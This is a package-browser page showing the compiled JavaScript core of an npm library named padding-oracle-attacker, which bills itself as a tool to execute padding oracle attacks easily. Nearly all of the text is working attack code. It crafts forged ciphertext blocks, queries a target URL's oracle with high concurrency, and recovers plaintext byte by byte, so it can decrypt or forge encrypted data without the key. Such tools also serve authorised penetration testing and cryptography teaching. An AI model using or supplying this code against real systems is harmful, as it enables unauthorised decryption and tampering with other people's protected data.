UNPKG

padding-oracle-attacker

Version:

CLI tool and library to execute padding oracle attacks easily

109 lines 5.64 kB
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); const bluebird_1 = __importDefault(require("./bluebird")); // eslint-disable-line import/order const ow_1 = __importDefault(require("ow")); const lodash_1 = require("lodash"); const logging_1 = require("./logging"); const promises_1 = __importDefault(require("./promises")); const oracle_caller_1 = __importDefault(require("./oracle-caller")); const PaddingOracle = (options) => { const { networkStats, callOracle } = oracle_caller_1.default(options); const { ciphertext, plaintext, origBytes, foundBytes, interBytes, foundOffsets, url: _url, blockSize, blockCount, startFromFirstBlock, transformPayload, concurrency = 128, isDecryptionSuccess, logMode = 'full', isCacheEnabled = true, initFirstPayloadBlockWithOrigBytes = false } = options; ow_1.default(_url, 'url', ow_1.default.string); ow_1.default(blockSize, ow_1.default.number); ow_1.default(concurrency, ow_1.default.number); ow_1.default(isDecryptionSuccess, ow_1.default.function); if (transformPayload) ow_1.default(transformPayload, ow_1.default.function); ow_1.default(logMode, ow_1.default.string); let stopLoggingProgress = false; function constructPayload({ byteI, blockI, byte, currentPadding }) { const firstBlock = Buffer.alloc(blockSize); if (initFirstPayloadBlockWithOrigBytes) ciphertext.copy(firstBlock, 0, blockI * blockSize); firstBlock[byteI] = byte; for (const i of lodash_1.range(byteI + 1, blockSize)) { const offset = (blockSize * blockI) + i; const interByte = interBytes[offset]; firstBlock[i] = interByte ^ currentPadding; } const start = (blockI + 1) * blockSize; const secondBlock = ciphertext.slice(start, start + blockSize); const twoBlocks = Buffer.concat([firstBlock, secondBlock]); return { twoBlocks }; } let badErrorArgConfidence = 0; function byteFound({ offset, byte, currentPadding }) { const origByte = origBytes[offset]; // plaintext or ciphertext if (byte === origByte) badErrorArgConfidence++; const interByte = byte ^ currentPadding; const foundByte = origByte ^ interByte; foundBytes[offset] = foundByte; interBytes[offset] = interByte; foundOffsets.add(offset); } async function processByte({ blockI, byteI, byte, currentPadding, offset }) { const { twoBlocks } = constructPayload({ blockI, byteI, byte, currentPadding }); if (foundOffsets.has(offset)) return true; const req = await callOracle(twoBlocks); const decryptionSuccess = isDecryptionSuccess(req); if (decryptionSuccess) byteFound({ offset, byte, currentPadding }); if (logMode === 'full' && !stopLoggingProgress) { if (!(foundOffsets.has(offset) && !decryptionSuccess)) { // make sure concurrency doesn't cause former bytes progress to be logged after later byte logging_1.logProgress({ ciphertext, plaintext, foundOffsets, blockSize, blockI, byteI, byte, decryptionSuccess, networkStats, startFromFirstBlock, isCacheEnabled }); } } return decryptionSuccess; } const isDecrypting = origBytes === ciphertext; async function processBlock(blockI) { let warningPrinted = false; for (const byteI of lodash_1.range(blockSize - 1, -1)) { const currentPadding = blockSize - byteI; const offset = (blockSize * blockI) + byteI; if (foundOffsets.has(offset)) continue; const cipherByte = ciphertext[offset]; const byteRange = isDecrypting ? lodash_1.range(0, 256).filter(b => b !== cipherByte) : lodash_1.range(0, 256); if (concurrency > 1) { const promises = byteRange.map(byte => bluebird_1.default.method(() => processByte({ blockI, byteI, byte, currentPadding, offset }))); await promises_1.default(promises, { concurrency }); } else { for (const byte of byteRange) { const success = await processByte({ blockI, byteI, byte, currentPadding, offset }); if (success) break; } } if (isDecrypting && !foundOffsets.has(offset)) { await processByte({ blockI, byteI, byte: cipherByte, currentPadding, offset }); } if (!foundOffsets.has(offset)) { throw Error(`Padding oracle failure for offset: 0x${offset.toString(16)}. Try again or check the parameter you provided for determining decryption success.`); } if (!warningPrinted && badErrorArgConfidence > (blockSize / 2)) { logging_1.logWarning('The parameter you provided for determining decryption success seems to be incorrect.'); warningPrinted = true; } } } async function processBlocks() { const blockIndexes = startFromFirstBlock ? lodash_1.range(blockCount - 1) : lodash_1.range(blockCount - 2, -1); for (const blockI of blockIndexes) { await processBlock(blockI); } stopLoggingProgress = true; } return { processBlocks, callOracle }; }; exports.default = PaddingOracle; //# sourceMappingURL=padding-oracle.js.map